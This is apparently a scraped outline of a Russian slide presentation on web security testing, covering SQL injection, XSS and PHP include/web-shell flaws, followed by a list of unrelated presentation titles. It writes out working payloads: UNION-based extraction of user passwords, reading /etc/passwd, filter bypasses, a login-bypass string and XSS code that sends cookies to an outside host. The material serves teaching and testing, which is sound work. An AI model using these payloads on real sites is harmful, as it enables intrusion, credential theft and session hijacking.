Содержание
- 2. Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу бизнесу. 43% сайтов не
- 3. SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов и программ, работающих с базами
- 5. Что может получить злоумышленник
- 7. Архитектура уязвимости типа SQL Injection
- 8. Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем ошибку типа: Warning: mysql_fetch_object(): supplied
- 9. Почему так происходит? query = "SELECT * FROM news WHERE id = '" + id +
- 10. Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу
- 11. Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM news WHERE id =
- 12. Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’ = ‘1’-- site.com/index.php?id=2’ AND ‘1’=‘2’--
- 13. Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW())))
- 14. На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where
- 15. Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка прав пользователя на запись файлов
- 16. Ошибки характерные для разных видов баз данных
- 17. Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с инъекцией: www.site.com/index.php?id=1‘ Выполняем такой
- 18. 2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или больше 1 www.site.com/index.php?id=-1+order+by+9999-- должна появится
- 19. Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в
- 20. Получаем информацию о версии и пользователе Для получения информации о текущем пользователе используется функция user() www.site.com/index.php?id=-1+union+select+null,user(),null,null--
- 21. Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--
- 22. Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к служебной таблице Information_schema www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO
- 23. Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER,
- 24. Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку: ERROR: syntax error
- 25. Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
- 26. Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: Использование пробельных символов «/*!*/» и
- 27. Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя пользователя Можно
- 28. Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода пароля: 123' OR login='Admin' –
- 29. Демонстрация примеров
- 30. Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe – утилита для проведения
- 31. XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе.
- 32. XSS
- 33. XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте Как это
- 34. Классификация XSS Активный XSS Внедренный скрипт сохраняется в системе и становится доступен для вывода другим пользователям
- 35. Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie; Кража
- 36. Метод обнаружения /?id="> alert(1) HTML - код страницы примет вид .. alert(1) "... В результате браузер
- 37. Типичный случай Самая распространенная разновидность XSS: "> alert() Вся суть в "> После добавления к форме
- 39. Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--" =&{()} Далее открываем HTML
- 40. Практика Допустим фильтр экранирует В этом случае существует вероятность обхода фильтра. К примеру, фильтр настроен на
- 41. Автозакрывающиеся скобки: >>>> бывает, что фильтр подсчитывает открывающиеся и закрывающиеся скобки и закрывает сам. Автозакрытие тегов:
- 42. Кража Cookies До этого мы рассматривали скрипты типа: alert (' Test ') javascript:alert (' Test ')/
- 43. Как воспользоваться этим скриптом? http://site.ru/free?p='> img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie;"+document.cookie; http://site.ru/free?p='> При этом файл js.js содержит: img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie; этот
- 44. Изменение кодировки http://ha.ckers.org/xss.html Изначально скрипт выглядел так: http://cite.com/test?p='> После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A
- 45. DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов,
- 46. Демонстрация примеров
- 47. Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS
- 48. PHP Injection PHP Injection или создание веб шеллов – это второй по популярности после SQL инъекции
- 49. Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()
- 50. Виды инклудов Include ("$page.php"); … ?> Возможен Remote File Inclusion (RFI) Include ("files/$page.htm"); … ?> Возможен
- 51. Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to open stream: No such
- 52. Веб шелл Это происходит потому, что код страницы имеет такой элемент .. Include ("$page.php"); … ?>
- 53. Выход за пределы текущего каталога Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat 6 ниже
- 54. Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для поискам уязвимостей в PHP
- 55. Демонстрация примеров
- 57. Скачать презентацию





















































Презентация на тему таблица умножения
Инвестиционная платформа компании CURRENCY GLOBAL
Квадрант денежного потока Можем ли мы это получить ничего не меняя?
Решение текстовых задач. Закрепление пройденного
Международный день борьбы с коррупцией
Блеск и сила: новинки для ухода за волосами Batel
Растровая графика
Презентация на тему Абхазия
Устойчивость дискретных систем
Аддитивные технологии
Подбор, обучение и мониторинг персонала Call центров.
Пар.6. УЧАСТИЕ ГРАЖДАН В ПОЛИТИЧЕСКОЙ ЖИЗНИ
Моделирование рукава фонарик
Презентация Визит
Понятие и виды смежных прав. Авторское и патентное право. Тема 36
Основные законы управления
Формы участия населения в местном самоуправлении: социально-психологический аспект
Танки и самолёты в годы войны
Jagermeister. Дегустация в Виталюр
Фигурное вождение велосипеда
Презентация на тему Биография Бальмонта
Закрепление умножения многозначных чисел на числа, оканчивающиеся нулями; решение задач на встречное движение
Кредитно-денежная система
Презентация на тему Военная форма одежды (11 класс)
Ценовая политика АО Белгородского молочного комбината и направления ее совершенствования
12 июня - День России
129626, г.Москва, Графский переулок д.9, стр.2. тел.:(495)9335900, 3635612(13). Факс:9335901. e-mail:
Этикет за столом